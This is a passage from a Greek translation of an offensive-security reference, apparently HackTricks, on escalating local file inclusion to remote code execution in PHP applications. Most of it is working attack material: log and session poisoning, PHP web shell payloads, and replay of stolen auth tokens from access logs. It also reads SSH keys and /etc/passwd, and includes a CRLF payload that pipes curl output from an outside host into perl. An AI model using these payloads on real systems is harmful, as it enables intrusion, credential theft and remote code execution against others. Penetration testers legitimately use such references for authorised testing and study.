Αυτό μπορεί επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά προσέξτε, ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header authorisation "basic" περιέχει "user:password" σε Base64 και αυτό αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Η PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Διαβάστε τα αρχεία καταγραφής πρόσβασης για να συλλέξετε GET-based auth tokens (token replay)
Πολλές εφαρμογές δέχονται εσφαλμένα session/auth tokens μέσω GET (π.χ., AuthenticationToken, token, sid). Αν έχετε ένα path traversal/LFI primitive που σας δίνει πρόσβαση στα web server logs, μπορείτε να κλέψετε αυτά τα tokens από τα αρχεία καταγραφής πρόσβασης και να τα replay για να παρακάμψετε πλήρως την authentication.
How-to:
- Χρησιμοποιήστε το traversal/LFI για να διαβάσετε το access log του web server. Συνηθισμένες τοποθεσίες:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Ορισμένα endpoints επιστρέφουν file reads Base64-encoded. Αν συμβαίνει αυτό, αποκωδικοποιήστε το τοπικά και επιθεωρήστε τις γραμμές του log.
- Grep για GET requests που περιλαμβάνουν παράμετρο token και καταγράψτε την τιμή της, στη συνέχεια replay την στο application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Αποκωδικοποιήστε το σώμα αν είναι Base64, στη συνέχεια αναπαράγετε ένα καταγεγραμμένο token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Σημειώσεις:
- Tokens σε URLs καταγράφονται από προεπιλογή· μην δεχτείτε ποτέ bearer tokens μέσω GET σε περιβάλλον παραγωγής.
- Αν η εφαρμογή υποστηρίζει πολλαπλά ονόματα token, ψάξτε για κοινά κλειδιά όπως AuthenticationToken, token, sid, access_token.
- Ανακυκλώστε οποιαδήποτε tokens που may have leaked to logs.
Μέσω Email
Στείλτε ένα mail σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως <?php echo system($_REQUEST["cmd"]); ?>
και δοκιμάστε να το include στο mail του χρήστη με ένα path όπως /var/mail/<USERNAME>
ή /var/spool/mail/<USERNAME>
Μέσω /proc//fd/
- Ανεβάστε πολλά shells (π.χ. : 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, όπου $PID = PID της διεργασίας (can be brute forced) και $FD ο file descriptor (can be brute forced too)
Μέσω /proc/self/environ
Όπως ένα log file, στείλτε το payload στο User-Agent — θα αντανακλαστεί μέσα στο αρχείο /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Μέσω upload
Αν μπορείτε να upload ένα αρχείο, απλά εισάγετε το shell payload μέσα σε αυτό (π.χ.: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να εγχύσετε στα metadata των εικόνων/εγγράφων/pdf
Μέσω ανέβασματος αρχείου ZIP
Ανεβάστε ένα αρχείο ZIP που περιέχει συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Μέσω PHP sessions
Ελέγξτε αν ο ιστότοπος χρησιμοποιεί PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Στο PHP αυτές οι συνεδρίες αποθηκεύονται σε /var/lib/php5/sess\[PHPSESSID]_ αρχεία
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Ορίστε το cookie σε <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Χρησιμοποιήστε το LFI για να συμπεριλάβετε το PHP session αρχείο
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Μέσω ssh
Εάν το ssh είναι ενεργό έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να αποκτήσεις πρόσβαση στο <HOME>/.ssh/id_rsa
Μέσω vsftpd αρχεία καταγραφής
Τα αρχεία καταγραφής για τον FTP server vsftpd βρίσκονται στο /var/log/vsftpd.log. Στην περίπτωση όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο server vsftpd, μπορούν να εξεταστούν τα ακόλουθα βήματα:
- Εισάγετε ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
- Μετά την έγχυση, χρησιμοποιήστε το LFI για να ανακτήσετε τα αρχεία καταγραφής του server από το /var/log/vsftpd.log.
Μέσω php base64 filter (χρήση base64)
Όπως δείχνει το this άρθρο, το PHP base64 filter απλώς αγνοεί χαρακτήρες που δεν είναι base64. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο της κατάληξης του αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Ακολουθεί ένα παράδειγμα payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Μέσω php filters (δεν απαιτείται αρχείο)
This writeup εξηγεί ότι μπορείτε να χρησιμοποιήσετε php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο ως έξοδο. Το οποίο ουσιαστικά σημαίνει ότι μπορείτε να generate arbitrary php code για το include χωρίς να χρειάζεται να το γράψετε σε αρχείο.
Μέσω segmentation fault
Ανεβάστε ένα αρχείο που θα αποθηκευτεί ως προσωρινό στο /tmp
, στη συνέχεια στο ίδιο request, προκαλέστε ένα segmentation fault, και τότε το προσωρινό αρχείο δεν θα διαγραφεί και μπορείτε να το αναζητήσετε.
LFI2RCE via Segmentation Fault
Μέσω Nginx temp file storage
Αν βρήκατε μια Local File Inclusion και το Nginx τρέχει μπροστά από το PHP, μπορεί να καταφέρετε να αποκτήσετε RCE με την παρακάτω τεχνική:
Μέσω PHP_SESSION_UPLOAD_PROGRESS
Αν βρήκατε μια Local File Inclusion ακόμη και αν δεν έχετε session και session.auto_start
είναι Off
. Αν παρέχετε την PHP_SESSION_UPLOAD_PROGRESS
σε multipart POST δεδομένα, το PHP θα ενεργοποιήσει το session για εσάς. Αυτό μπορεί να καταχραστείτε για να αποκτήσετε RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Μέσω temp file uploads in Windows
Αν βρήκατε μια Local File Inclusion και ο server τρέχει σε Windows μπορεί να αποκτήσετε RCE:
Μέσω pearcmd.php
+ URL args
As explained in this post, το script /usr/local/lib/phppearcmd.php
υπάρχει από προεπιλογή σε php docker images. Επιπλέον, είναι δυνατό να περάσετε ορίσματα στο script μέσω του URL επειδή αναφέρεται ότι αν μια παράμετρος URL δεν έχει =
, τότε θα χρησιμοποιηθεί ως όρισμα. Δείτε επίσης το watchTowr’s write-up και τα Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Το παρακάτω εκμεταλλεύεται ένα CRLF vuln για να αποκτήσει RCE (από here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Μέσω phpinfo() (file_uploads = on)
Αν βρήκες ένα Local File Inclusion και ένα αρχείο που εμφανίζει phpinfo() με file_uploads = on μπορείς να πάρεις RCE:
Μέσω compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Αν βρήκες ένα Local File Inclusion και can exfiltrate the path of the temp file ΑΛΛΑ ο server is checking if the file to be included has PHP marks, μπορείς να δοκιμάσεις να bypass that check με αυτή τη Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Μέσω eternal waiting + bruteforce
Αν μπορείς να καταχραστείς το LFI για να upload temporary files και να κάνεις τον server να hang την εκτέλεση PHP, μπορείς στη συνέχεια να brute force filenames during hours για να βρεις το temporary file:
Σε Fatal Error
Αν κάνεις include οποιοδήποτε από τα αρχεία /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (You need to include the same one 2 time to throw that error).
Δεν ξέρω πώς είναι χρήσιμο αυτό αλλά ίσως είναι.
Ακόμη και αν προκαλέσεις ένα PHP Fatal Error, τα PHP temporary αρχεία που ανέβηκαν διαγράφονται.
.png)
Αναφορές
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.